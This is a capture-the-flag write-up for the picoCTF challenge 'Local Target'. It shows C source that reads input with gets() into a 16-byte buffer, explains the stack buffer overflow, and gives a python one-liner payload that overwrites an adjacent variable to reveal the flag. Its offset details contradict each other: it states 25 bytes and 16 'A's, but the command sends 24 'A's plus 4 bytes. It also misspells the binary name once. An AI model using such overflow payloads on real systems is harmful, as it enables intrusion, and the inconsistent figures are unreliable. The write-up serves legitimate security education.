Local Target

https://play.picoctf.org/practice/challenge/399?category=6&page=2

After you launch the instance you will get a binary file and source code of that binary file

Here's the local source code :

#include <stdio.h>
#include <stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }
  
  printf("Bye!\n");
  fflush(stdout);
}

📜 Code Analysis

Here's the critical snippet of code:

cCopyEditchar input[16];
int num = 64;

gets(input);

if( num == 65 ){
    // prints flag
}
  • The buffer input[16] is only 16 bytes.

  • gets(input) is dangerous it doesn't do bounds checking, meaning it allows the user to input more than 16 bytes, potentially overwriting adjacent memory.

  • On the stack, variables are stored contiguously. Since num comes right after input, overflowing input can overwrite num.

Vulnerability Identified: Buffer Overflow

If we input more than 16 bytes, we can overwrite the num variable. Our goal is to overwrite it with the value 65 (decimal), or 0x41 in hex.

Exploitation Steps

Let's break down the exploit:

1. Understand Stack Layout

  • input is 16 bytes.

  • On most systems using a stack that grows downward, the variable num will be located right after the input buffer.

  • So, the input must be 16 bytes to fill the buffer, then 4 bytes to overwrite num.

2. Construct Payload

We want to send a total of 25 bytes:

python3 -c "print('A'*24 + '\x41\x00\x00\x00')" | ./local_target

Explanation:

  • 'A'*16 fills the buffer (input[16])

  • '\x41\x00\x00\x00' is 65 in little-endian (used on most x86/x86_64 systems)

  • This overwrites num to 65

3. Run the Exploit

python3 -c "print('A'*24 + '\x41\x00\x00\x00')" | ./local_taregt

Now let's try this payload on picoctf and get the flag

Bingo we got our flag

Last updated